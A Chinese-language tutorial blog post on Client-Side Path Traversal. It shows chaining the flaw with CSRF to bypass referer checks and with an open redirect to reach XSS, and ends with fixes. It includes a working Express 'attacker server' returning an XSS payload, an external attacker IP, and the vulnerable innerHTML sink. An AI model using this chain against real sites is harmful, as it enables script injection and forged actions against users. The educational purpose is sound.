CSPT漏洞淺析
CSPT全稱是Client-Side Path Traversal ,即客戶端路徑遍歷。
概念說明
CSPT 全稱 Client-Side Path Traversal(客戶端路徑遍歷),是一種針對前端應用的漏洞,核心是攻擊者通過篡改 URL 參數、請求參數等,讓瀏覽器(客戶端)錯誤地向非預期的服務器路徑發送請求,從而獲取本不應訪問的數據或資源。
它的本質是 “前端邏輯對參數校驗不嚴格”,區別于傳統的 “服務端路徑遍歷”(攻擊目標是服務器文件系統):
攻擊對象:瀏覽器的請求邏輯(而非服務器);
核心結果:讓瀏覽器請求到開發者未開放的 API 接口、JSON 數據文件等;
如果配合其他漏洞,可能會觸發或繞過達成某些漏洞的利用,多用于chain二次攻擊。
跟上我的節奏,讓我們揭開這個漏洞的神秘面紗。漏洞基本特征:
瀏覽器上訪問 用戶資料頁面:
除了觸發本身的前端頁面外,還會觸發一個api接口
api接口: http://localhost:9999/api/users/1
response返回:
api接口會把返回映射返回給前端輸出響應。
用一張圖總結下此特征:
修改id=123
后端會去嘗試請求:
http://localhost:9999/api/users/123
那么這里大家發現沒有,我們發現api路徑上的id可控,即可
有這個特征,那么我們可以做什么?
api會去請求http://localhost:9999/api/123
現在我們通過客戶端(前端)的訪問,任意控制后端api的路由走向。
單看CSPT漏洞,感覺這種行為沒有任何意義。因為我們用戶本身就可以訪問api接口。
現在我們把CSPT代入到CSRF漏洞
可用業務場景1:
用戶訪問
輸出用戶信息 如id 姓名和頭像。
站點內,我們發現了一個get請求的修改用戶姓名的接口如下所示:
當我們直接訪問他,它存在安全限制,csrf最常見的安全修復方案就是referer限制。
因為有referer限制,我無法csrf修改用戶信息成功。那么此時CSPT漏洞的作用就來了。
已知:
返回接口:http://localhost:9999/api/users/1
構造可以csrf的CSPT接口:
因為是客戶端漏洞,所以最好有必要對特殊字符串進行url編碼下:
使用瀏覽器再次訪問:
此時利用CSPT,我們成功繞過了csrf限制,通過網絡數據請求,你能看到他攜帶了referer。
現在我們刷新我們的id=1的用戶頁面:
此時姓名已經被修改掉了,說明csrf成功。比起傳統的referer url繞過,使用CSPT更加方便,更加智能。
可用業務場景2:
如果一個網站同時具備CSPT+api接口url跳轉漏洞,那么此時我們可以把這個漏洞升級成一個xss漏洞。
那么我們來看看吧,怎么做?
首先是api接口的url跳轉:
這個url跳轉,無法使用偽協議進行xss攻擊。那么他的危害相對就小了,只能釣魚。
小小的跳轉,是如何和無用的CSPT配合的。
讓我們回到最開始CSPT的業務現場:
觸發api接口:http://localhost:9999/api/users/1
response返回:
{"id": 1, "name": "test", "profilePic": "/public/images/user1.jpg"}
api接口的json信息,會映射到前端頁面上:
現在我們在api接口上發現了一個url跳轉漏洞,那么此時思路就來了。我們能不能,有沒有可能通過CSPT漏洞,請求api接口實現跳轉,在頁面上加載惡意的json返回?
這里直接上寫好的利用代碼:
const express = require('express');
const app = express();
// 配置 CORS 頭,允許目標平臺(localhost:9999)跨域讀取
app.use((req, res, next) => {
console.log('收到請求:', req.method, req.url);
console.log('請求頭:', req.headers);
res.setHeader('Access-Control-Allow-Origin', 'http://localhost:9999');
res.setHeader('Access-Control-Allow-Credentials', 'true');
// 不在這里統一設置Content-Type,讓每個路由單獨設置
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.setHeader('Access-Control-Max-Age', '86400');
next();
});
// 修改為專門支持CSPT漏洞利用的響應格式
app.get('/xss', (req, res) => {
console.log('處理/xss請求,為CSPT漏洞利用返回JSON格式響應');
res.setHeader('Content-Type', 'application/json');
const maliciousData = {
id: "<img src=\"x\" onerror=\"alert(321)\" />",
name: "hello",
profilePic: "/public/images/default.jpg"
};
console.log('發送JSON格式XSS響應:', JSON.stringify(maliciousData));
res.json(maliciousData);
});
const PORT = 5001;
app.listen(PORT, () => {
console.log(`攻擊者服務(XSS 彈窗版)啟動:http://localhost:${PORT}`);
});
遠程服務器上使用node啟動:
CSPT雛形:
http://localhost:9999/public/profile.html?id=1 ==>http://localhost:9999/api/users/1
演變:
==>
==>
==>
效果:
此時你會發現訪問example.com的時候報錯紅色了。
所以這也解釋了為什么利用攻擊代碼中為什么要設置Access-Control-*的原因。
萬事俱備,直接利用實現xss吧:
==>
==>
==>
編碼訪問:
頁面渲染了api 返回內容,導致了xss攻擊。
來看下為什么會xss攻擊?
GET
http://38.207.176.172:5001/xss
response返回:
{"id":"<img src=\"x\" onerror=\"alert(321)\" />","name":"hello","profilePic":"/public/images/default.jpg"}
從代碼角度來看:
userInfoDiv.innerHTML = `
<h2>用戶信息</h2>
<p><strong>ID:</strong> ${data.id || '未知'}</p>
<p><strong>姓名:</strong> ${data.name || '未知'}</p>
<p><strong>頭像:</strong> <img src="${data.profilePic || '/public/images/default.jpg'}" alt="用戶頭像" width="100" height="100"></p>
`;
通過url跳轉偽造頁面,實現渲染了用戶植入的惡意代碼。?
總結,要實現xss漏洞,我們需要必須條件?
1.支持CSPT特性
2.api接口存在url跳轉漏洞
3.頁面支持innerHTMl或者document.write輸出。
這里選擇了偽造id參數,id一般是數據庫的key,是不可控的,即使是存在危險sink,也是無法xss,但是這里巧妙的利用了CSPT+url跳轉漏洞實現了xss攻擊。
漏洞修復方案:
1.waf攔截../
2.用 “資源唯一標識” 替代 “路徑參數”
前端:參數不拼路徑,拼前先做過濾;
后端:格式權限雙驗,白名單鎖范圍。



















浙公網安備 33010602011771號